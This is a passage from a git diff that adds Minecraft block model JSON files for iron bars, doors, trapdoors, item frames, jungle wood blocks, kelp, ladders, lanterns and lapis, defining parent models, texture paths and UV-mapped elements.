"block/iron_bars", + "edge": "block/iron_bars" + }, + "elements": [ + { "from": [ 8, 0, 7 ], + "to": [ 8, 16, 8 ], + "faces": { + "west": { "uv": [ 8, 0, 9, 16 ], "texture": "#bars" }, + "east": { "uv": [ 9, 0, 8, 16 ], "texture": "#bars" } + } + }, + { "from": [ 7, 0, 7 ], + "to": [ 9, 16, 7 ], + "faces": { + "north": { "uv": [ 7, 0, 9, 16 ], "texture": "#bars" }, + "south": { "uv": [ 9, 0, 7, 16 ], "texture": "#bars" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/iron_bars_post.json b/src/assets/minecraft/models/block/iron_bars_post.json new file mode 100644 index 00000000..feb3e146 --- /dev/null +++ b/src/assets/minecraft/models/block/iron_bars_post.json @@ -0,0 +1,23 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/iron_bars", + "bars": "block/iron_bars" + }, + "elements": [ + { "from": [ 8, 0, 7 ], + "to": [ 8, 16, 9 ], + "faces": { + "west": { "uv": [ 7, 0, 9, 16 ], "texture": "#bars" }, + "east": { "uv": [ 9, 0, 7, 16 ], "texture": "#bars" } + } + }, + { "from": [ 7, 0, 8 ], + "to": [ 9, 16, 8 ], + "faces": { + "north": { "uv": [ 7, 0, 9, 16 ], "texture": "#bars" }, + "south": { "uv": [ 9, 0, 7, 16 ], "texture": "#bars" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/iron_bars_post_ends.json b/src/assets/minecraft/models/block/iron_bars_post_ends.json new file mode 100644 index 00000000..b0c1ef61 --- /dev/null +++ b/src/assets/minecraft/models/block/iron_bars_post_ends.json @@ -0,0 +1,23 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/iron_bars", + "edge": "block/iron_bars" + }, + "elements": [ + { "from": [ 7, 0.001, 7 ], + "to": [ 9, 0.001, 9 ], + "faces": { + "down": { "uv": [ 7, 7, 9, 9 ], "texture": "#edge" }, + "up": { "uv": [ 7, 7, 9, 9 ], "texture": "#edge" } + } + }, + { "from": [ 7, 15.999, 7 ], + "to": [ 9, 15.999, 9 ], + "faces": { + "down": { "uv": [ 7, 7, 9, 9 ], "texture": "#edge" }, + "up": { "uv": [ 7, 7, 9, 9 ], "texture": "#edge" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/iron_bars_side.json b/src/assets/minecraft/models/block/iron_bars_side.json new file mode 100644 index 00000000..01d74110 --- /dev/null +++ b/src/assets/minecraft/models/block/iron_bars_side.json @@ -0,0 +1,37 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/iron_bars", + "bars": "block/iron_bars", + "edge": "block/iron_bars" + }, + "elements": [ + { "from": [ 8, 0, 0 ], + "to": [ 8, 16, 8 ], + "faces": { + "west": { "uv": [ 16, 0, 8, 16 ], "texture": "#bars" }, + "east": { "uv": [ 8, 0, 16, 16 ], "texture": "#bars" } + } + }, + { "from": [ 7, 0, 0 ], + "to": [ 9, 16, 7 ], + "faces": { + "north": { "uv": [ 7, 0, 9, 16 ], "texture": "#edge", "cullface": "north" } + } + }, + { "from": [ 7, 0.001, 0 ], + "to": [ 9, 0.001, 7 ], + "faces": { + "down": { "uv": [ 9, 0, 7, 7 ], "texture": "#edge" }, + "up": { "uv": [ 7, 0, 9, 7 ], "texture": "#edge" } + } + }, + { "from": [ 7, 15.999, 0 ], + "to": [ 9, 15.999, 7 ], + "faces": { + "down": { "uv": [ 9, 0, 7, 7 ], "texture": "#edge" }, + "up": { "uv": [ 7, 0, 9, 7 ], "texture": "#edge" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/iron_bars_side_alt.json b/src/assets/minecraft/models/block/iron_bars_side_alt.json new file mode 100644 index 00000000..83842e68 --- /dev/null +++ b/src/assets/minecraft/models/block/iron_bars_side_alt.json @@ -0,0 +1,39 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/iron_bars", + "bars": "block/iron_bars", + "edge": "block/iron_bars" + }, + "elements": [ + { "from": [ 8, 0, 8 ], + "to": [ 8, 16, 16 ], + "faces": { + "west": { "uv": [ 8, 0, 0, 16 ], "texture": "#bars" }, + "east": { "uv": [ 0, 0, 8, 16 ], "texture": "#bars" } + } + }, + { "from": [ 7, 0, 9 ], + "to": [ 9, 16, 16 ], + "faces": { + "south": { "uv": [ 7, 0, 9, 16 ], "texture": "#edge", "cullface": "south" }, + "down": { "uv": [ 9, 9, 7, 16 ], "texture": "#edge" }, + "up": { "uv": [ 7, 9, 9, 16 ], "texture": "#edge" } + } + }, + { "from": [ 7, 0.001, 9 ], + "to": [ 9, 0.001, 16 ], + "faces": { + "down": { "uv": [ 9, 9, 7, 16 ], "texture": "#edge" }, + "up": { "uv": [ 7, 9, 9, 16 ], "texture": "#edge" } + } + }, + { "from": [ 7, 15.999, 9 ], + "to": [ 9, 15.999, 16 ], + "faces": { + "down": { "uv": [ 9, 9, 7, 16 ], "texture": "#edge" }, + "up": { "uv": [ 7, 9, 9, 16 ], "texture": "#edge" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/iron_block.json b/src/assets/minecraft/models/block/iron_block.json new file mode 100644 index 00000000..8b87ea96 --- /dev/null +++ b/src/assets/minecraft/models/block/iron_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/iron_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/iron_door_bottom.json b/src/assets/minecraft/models/block/iron_door_bottom.json new file mode 100644 index 00000000..23c5adbb --- /dev/null +++ b/src/assets/minecraft/models/block/iron_door_bottom.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_bottom", + "textures": { + "top": "minecraft:block/iron_door_top", + "bottom": "minecraft:block/iron_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/iron_door_bottom_hinge.json b/src/assets/minecraft/models/block/iron_door_bottom_hinge.json new file mode 100644 index 00000000..0d2f5081 --- /dev/null +++ b/src/assets/minecraft/models/block/iron_door_bottom_hinge.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_bottom_rh", + "textures": { + "top": "minecraft:block/iron_door_top", + "bottom": "minecraft:block/iron_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/iron_door_top.json b/src/assets/minecraft/models/block/iron_door_top.json new file mode 100644 index 00000000..b04e0209 --- /dev/null +++ b/src/assets/minecraft/models/block/iron_door_top.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_top", + "textures": { + "top": "minecraft:block/iron_door_top", + "bottom": "minecraft:block/iron_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/iron_door_top_hinge.json b/src/assets/minecraft/models/block/iron_door_top_hinge.json new file mode 100644 index 00000000..292ba44e --- /dev/null +++ b/src/assets/minecraft/models/block/iron_door_top_hinge.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_top_rh", + "textures": { + "top": "minecraft:block/iron_door_top", + "bottom": "minecraft:block/iron_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/iron_ore.json b/src/assets/minecraft/models/block/iron_ore.json new file mode 100644 index 00000000..1660281b --- /dev/null +++ b/src/assets/minecraft/models/block/iron_ore.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/iron_ore" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/iron_trapdoor_bottom.json b/src/assets/minecraft/models/block/iron_trapdoor_bottom.json new file mode 100644 index 00000000..97561197 --- /dev/null +++ b/src/assets/minecraft/models/block/iron_trapdoor_bottom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_trapdoor_bottom", + "textures": { + "texture": "minecraft:block/iron_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/iron_trapdoor_open.json b/src/assets/minecraft/models/block/iron_trapdoor_open.json new file mode 100644 index 00000000..b638a44c --- /dev/null +++ b/src/assets/minecraft/models/block/iron_trapdoor_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_trapdoor_open", + "textures": { + "texture": "minecraft:block/iron_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/iron_trapdoor_top.json b/src/assets/minecraft/models/block/iron_trapdoor_top.json new file mode 100644 index 00000000..be3cc7ba --- /dev/null +++ b/src/assets/minecraft/models/block/iron_trapdoor_top.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_trapdoor_top", + "textures": { + "texture": "minecraft:block/iron_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/item_frame.json b/src/assets/minecraft/models/block/item_frame.json new file mode 100644 index 00000000..ad7c595a --- /dev/null +++ b/src/assets/minecraft/models/block/item_frame.json @@ -0,0 +1,56 @@ +{ + "textures": { + "particle": "block/birch_planks", + "wood": "block/birch_planks", + "back": "block/item_frame" + }, + "elements": [ + { "from": [ 3, 3, 15.5 ], + "to": [ 13, 13, 16 ], + "faces": { + "north": { "uv": [ 3, 3, 13, 13 ], "texture": "#back" }, + "south": { "uv": [ 3, 3, 13, 13 ], "texture": "#back" } + } + }, + { "from": [ 2, 2, 15 ], + "to": [ 14, 3, 16 ], + "faces": { + "down": { "uv": [ 2, 0, 14, 1 ], "texture": "#wood" }, + "up": { "uv": [ 2, 15, 14, 16 ], "texture": "#wood" }, + "north": { "uv": [ 2, 13, 14, 14 ], "texture": "#wood" }, + "south": { "uv": [ 2, 13, 14, 14 ], "texture": "#wood" }, + "west": { "uv": [ 15, 13, 16, 14 ], "texture": "#wood" }, + "east": { "uv": [ 0, 13, 1, 14 ], "texture": "#wood" } + } + }, + { "from": [ 2, 13, 15 ], + "to": [ 14, 14, 16 ], + "faces": { + "down": { "uv": [ 2, 0, 14, 1 ], "texture": "#wood" }, + "up": { "uv": [ 2, 15, 14, 16 ], "texture": "#wood" }, + "north": { "uv": [ 2, 2, 14, 3 ], "texture": "#wood" }, + "south": { "uv": [ 2, 2, 14, 3 ], "texture": "#wood" }, + "west": { "uv": [ 15, 2, 16, 3 ], "texture": "#wood" }, + "east": { "uv": [ 0, 2, 1, 3 ], "texture": "#wood" } + } + }, + { "from": [ 2, 3, 15 ], + "to": [ 3, 13, 16 ], + "faces": { + "north": { "uv": [ 13, 3, 14, 13 ], "texture": "#wood" }, + "south": { "uv": [ 2, 3, 3, 13 ], "texture": "#wood" }, + "west": { "uv": [ 15, 3, 16, 13 ], "texture": "#wood" }, + "east": { "uv": [ 0, 3, 1, 13 ], "texture": "#wood" } + } + }, + { "from": [ 13, 3, 15 ], + "to": [ 14, 13, 16 ], + "faces": { + "north": { "uv": [ 2, 3, 3, 13 ], "texture": "#wood" }, + "south": { "uv": [ 13, 3, 14, 13 ], "texture": "#wood" }, + "west": { "uv": [ 15, 3, 16, 13 ], "texture": "#wood" }, + "east": { "uv": [ 0, 3, 1, 13 ], "texture": "#wood" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/item_frame_map.json b/src/assets/minecraft/models/block/item_frame_map.json new file mode 100644 index 00000000..e92f4f02 --- /dev/null +++ b/src/assets/minecraft/models/block/item_frame_map.json @@ -0,0 +1,56 @@ +{ + "textures": { + "particle": "block/birch_planks", + "wood": "block/birch_planks", + "back": "block/item_frame" + }, + "elements": [ + { "from": [ 1, 1, 15.001 ], + "to": [ 15, 15, 16 ], + "faces": { + "north": { "uv": [ 1, 1, 15, 15 ], "texture": "#back" }, + "south": { "uv": [ 1, 1, 15, 15 ], "texture": "#back" } + } + }, + { "from": [ 0, 0, 15.001 ], + "to": [ 16, 1, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 1 ], "texture": "#wood" }, + "up": { "uv": [ 0, 15, 16, 16 ], "texture": "#wood" }, + "north": { "uv": [ 0, 15, 16, 16 ], "texture": "#wood" }, + "south": { "uv": [ 0, 15, 16, 16 ], "texture": "#wood" }, + "west": { "uv": [ 15, 15, 16, 16 ], "texture": "#wood" }, + "east": { "uv": [ 0, 15, 1, 16 ], "texture": "#wood" } + } + }, + { "from": [ 0, 15, 15.001 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 1 ], "texture": "#wood" }, + "up": { "uv": [ 0, 15, 16, 16 ], "texture": "#wood" }, + "north": { "uv": [ 0, 0, 16, 1 ], "texture": "#wood" }, + "south": { "uv": [ 0, 0, 16, 1 ], "texture": "#wood" }, + "west": { "uv": [ 15, 0, 16, 1 ], "texture": "#wood" }, + "east": { "uv": [ 0, 0, 1, 1 ], "texture": "#wood" } + } + }, + { "from": [ 0, 1, 15.001 ], + "to": [ 1, 15, 16 ], + "faces": { + "north": { "uv": [ 15, 1, 16, 15 ], "texture": "#wood" }, + "south": { "uv": [ 0, 1, 1, 15 ], "texture": "#wood" }, + "west": { "uv": [ 15, 1, 16, 15 ], "texture": "#wood" }, + "east": { "uv": [ 0, 1, 1, 15 ], "texture": "#wood" } + } + }, + { "from": [ 15, 1, 15.001 ], + "to": [ 16, 15, 16 ], + "faces": { + "north": { "uv": [ 0, 1, 1, 15 ], "texture": "#wood" }, + "south": { "uv": [ 15, 1, 16, 15 ], "texture": "#wood" }, + "west": { "uv": [ 15, 1, 16, 15 ], "texture": "#wood" }, + "east": { "uv": [ 0, 1, 1, 15 ], "texture": "#wood" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/jack_o_lantern.json b/src/assets/minecraft/models/block/jack_o_lantern.json new file mode 100644 index 00000000..6139d372 --- /dev/null +++ b/src/assets/minecraft/models/block/jack_o_lantern.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/orientable", + "textures": { + "top": "minecraft:block/pumpkin_top", + "front": "minecraft:block/jack_o_lantern", + "side": "minecraft:block/pumpkin_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jigsaw.json b/src/assets/minecraft/models/block/jigsaw.json new file mode 100644 index 00000000..73019857 --- /dev/null +++ b/src/assets/minecraft/models/block/jigsaw.json @@ -0,0 +1,12 @@ +{ + "parent": "minecraft:block/cube_directional", + "textures": { + "particle": "minecraft:block/jigsaw_top", + "north": "minecraft:block/jigsaw_top", + "south": "minecraft:block/jigsaw_bottom", + "east": "minecraft:block/jigsaw_side", + "west": "minecraft:block/jigsaw_side", + "up": "minecraft:block/jigsaw_lock", + "down": "minecraft:block/jigsaw_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jukebox.json b/src/assets/minecraft/models/block/jukebox.json new file mode 100644 index 00000000..d9770650 --- /dev/null +++ b/src/assets/minecraft/models/block/jukebox.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_top", + "textures": { + "top": "minecraft:block/jukebox_top", + "side": "minecraft:block/jukebox_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_button.json b/src/assets/minecraft/models/block/jungle_button.json new file mode 100644 index 00000000..de9e6318 --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_button.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button", + "textures": { + "texture": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_button_inventory.json b/src/assets/minecraft/models/block/jungle_button_inventory.json new file mode 100644 index 00000000..2f058f64 --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_button_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_inventory", + "textures": { + "texture": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_button_pressed.json b/src/assets/minecraft/models/block/jungle_button_pressed.json new file mode 100644 index 00000000..08687058 --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_button_pressed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_pressed", + "textures": { + "texture": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_door_bottom.json b/src/assets/minecraft/models/block/jungle_door_bottom.json new file mode 100644 index 00000000..cabda8fe --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_door_bottom.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_bottom", + "textures": { + "top": "minecraft:block/jungle_door_top", + "bottom": "minecraft:block/jungle_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_door_bottom_hinge.json b/src/assets/minecraft/models/block/jungle_door_bottom_hinge.json new file mode 100644 index 00000000..f3cd98d4 --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_door_bottom_hinge.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_bottom_rh", + "textures": { + "top": "minecraft:block/jungle_door_top", + "bottom": "minecraft:block/jungle_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_door_top.json b/src/assets/minecraft/models/block/jungle_door_top.json new file mode 100644 index 00000000..904fd0da --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_door_top.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_top", + "textures": { + "top": "minecraft:block/jungle_door_top", + "bottom": "minecraft:block/jungle_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_door_top_hinge.json b/src/assets/minecraft/models/block/jungle_door_top_hinge.json new file mode 100644 index 00000000..8df1a152 --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_door_top_hinge.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_top_rh", + "textures": { + "top": "minecraft:block/jungle_door_top", + "bottom": "minecraft:block/jungle_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_fence_gate.json b/src/assets/minecraft/models/block/jungle_fence_gate.json new file mode 100644 index 00000000..a0f5231c --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_fence_gate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate", + "textures": { + "texture": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_fence_gate_open.json b/src/assets/minecraft/models/block/jungle_fence_gate_open.json new file mode 100644 index 00000000..d7e22852 --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_fence_gate_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_open", + "textures": { + "texture": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_fence_gate_wall.json b/src/assets/minecraft/models/block/jungle_fence_gate_wall.json new file mode 100644 index 00000000..8544a4b1 --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_fence_gate_wall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_wall", + "textures": { + "texture": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_fence_gate_wall_open.json b/src/assets/minecraft/models/block/jungle_fence_gate_wall_open.json new file mode 100644 index 00000000..acb74dd7 --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_fence_gate_wall_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_wall_open", + "textures": { + "texture": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_fence_inventory.json b/src/assets/minecraft/models/block/jungle_fence_inventory.json new file mode 100644 index 00000000..70ce5096 --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_fence_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_inventory", + "textures": { + "texture": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_fence_post.json b/src/assets/minecraft/models/block/jungle_fence_post.json new file mode 100644 index 00000000..6867e0d9 --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_fence_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_post", + "textures": { + "texture": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_fence_side.json b/src/assets/minecraft/models/block/jungle_fence_side.json new file mode 100644 index 00000000..8efe3bc6 --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_fence_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_side", + "textures": { + "texture": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_leaves.json b/src/assets/minecraft/models/block/jungle_leaves.json new file mode 100644 index 00000000..9feffd5d --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_leaves.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/leaves", + "textures": { + "all": "minecraft:block/jungle_leaves" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_log.json b/src/assets/minecraft/models/block/jungle_log.json new file mode 100644 index 00000000..6e2042e8 --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_log.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/jungle_log_top", + "side": "minecraft:block/jungle_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_log_horizontal.json b/src/assets/minecraft/models/block/jungle_log_horizontal.json new file mode 100644 index 00000000..8c4758db --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_log_horizontal.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column_horizontal", + "textures": { + "end": "minecraft:block/jungle_log_top", + "side": "minecraft:block/jungle_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_planks.json b/src/assets/minecraft/models/block/jungle_planks.json new file mode 100644 index 00000000..f35281e8 --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_planks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_pressure_plate.json b/src/assets/minecraft/models/block/jungle_pressure_plate.json new file mode 100644 index 00000000..cf18c79e --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_pressure_plate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_up", + "textures": { + "texture": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_pressure_plate_down.json b/src/assets/minecraft/models/block/jungle_pressure_plate_down.json new file mode 100644 index 00000000..f34227b2 --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_pressure_plate_down.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_down", + "textures": { + "texture": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_sapling.json b/src/assets/minecraft/models/block/jungle_sapling.json new file mode 100644 index 00000000..b1c50ecd --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/jungle_sapling" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_sign.json b/src/assets/minecraft/models/block/jungle_sign.json new file mode 100644 index 00000000..6792ad6d --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_sign.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_slab.json b/src/assets/minecraft/models/block/jungle_slab.json new file mode 100644 index 00000000..7081551e --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/jungle_planks", + "top": "minecraft:block/jungle_planks", + "side": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_slab_top.json b/src/assets/minecraft/models/block/jungle_slab_top.json new file mode 100644 index 00000000..afc5ff8b --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/jungle_planks", + "top": "minecraft:block/jungle_planks", + "side": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_stairs.json b/src/assets/minecraft/models/block/jungle_stairs.json new file mode 100644 index 00000000..3d4a98a9 --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/jungle_planks", + "top": "minecraft:block/jungle_planks", + "side": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_stairs_inner.json b/src/assets/minecraft/models/block/jungle_stairs_inner.json new file mode 100644 index 00000000..c83209de --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/jungle_planks", + "top": "minecraft:block/jungle_planks", + "side": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_stairs_outer.json b/src/assets/minecraft/models/block/jungle_stairs_outer.json new file mode 100644 index 00000000..49424ac2 --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/jungle_planks", + "top": "minecraft:block/jungle_planks", + "side": "minecraft:block/jungle_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_trapdoor_bottom.json b/src/assets/minecraft/models/block/jungle_trapdoor_bottom.json new file mode 100644 index 00000000..937fc8bd --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_trapdoor_bottom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_orientable_trapdoor_bottom", + "textures": { + "texture": "minecraft:block/jungle_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_trapdoor_open.json b/src/assets/minecraft/models/block/jungle_trapdoor_open.json new file mode 100644 index 00000000..af3cfdf5 --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_trapdoor_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_orientable_trapdoor_open", + "textures": { + "texture": "minecraft:block/jungle_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_trapdoor_top.json b/src/assets/minecraft/models/block/jungle_trapdoor_top.json new file mode 100644 index 00000000..6147ee6d --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_trapdoor_top.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_orientable_trapdoor_top", + "textures": { + "texture": "minecraft:block/jungle_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/jungle_wood.json b/src/assets/minecraft/models/block/jungle_wood.json new file mode 100644 index 00000000..e0960bb2 --- /dev/null +++ b/src/assets/minecraft/models/block/jungle_wood.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/jungle_log", + "side": "minecraft:block/jungle_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/kelp.json b/src/assets/minecraft/models/block/kelp.json new file mode 100644 index 00000000..3c43ccaf --- /dev/null +++ b/src/assets/minecraft/models/block/kelp.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/tinted_cross", + "textures": { + "cross": "minecraft:block/kelp" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/kelp_plant.json b/src/assets/minecraft/models/block/kelp_plant.json new file mode 100644 index 00000000..0ade609b --- /dev/null +++ b/src/assets/minecraft/models/block/kelp_plant.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/tinted_cross", + "textures": { + "cross": "minecraft:block/kelp_plant" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/ladder.json b/src/assets/minecraft/models/block/ladder.json new file mode 100644 index 00000000..8fc85a6f --- /dev/null +++ b/src/assets/minecraft/models/block/ladder.json @@ -0,0 +1,17 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/ladder", + "texture": "block/ladder" + }, + "elements": [ + { "from": [ 0, 0, 15.2 ], + "to": [ 16, 16, 15.2 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/lantern.json b/src/assets/minecraft/models/block/lantern.json new file mode 100644 index 00000000..12970adc --- /dev/null +++ b/src/assets/minecraft/models/block/lantern.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_lantern", + "textures": { + "lantern": "minecraft:block/lantern" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lantern_hanging.json b/src/assets/minecraft/models/block/lantern_hanging.json new file mode 100644 index 00000000..d047dcd0 --- /dev/null +++ b/src/assets/minecraft/models/block/lantern_hanging.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_hanging_lantern", + "textures": { + "lantern": "minecraft:block/lantern" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lapis_block.json b/src/assets/minecraft/models/block/lapis_block.json new file mode 100644 index 00000000..97561c34 --- /dev/null +++ b/src/assets/minecraft/models/block/lapis_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/lapis_block" + } +} \ No newline at end of file diff --git 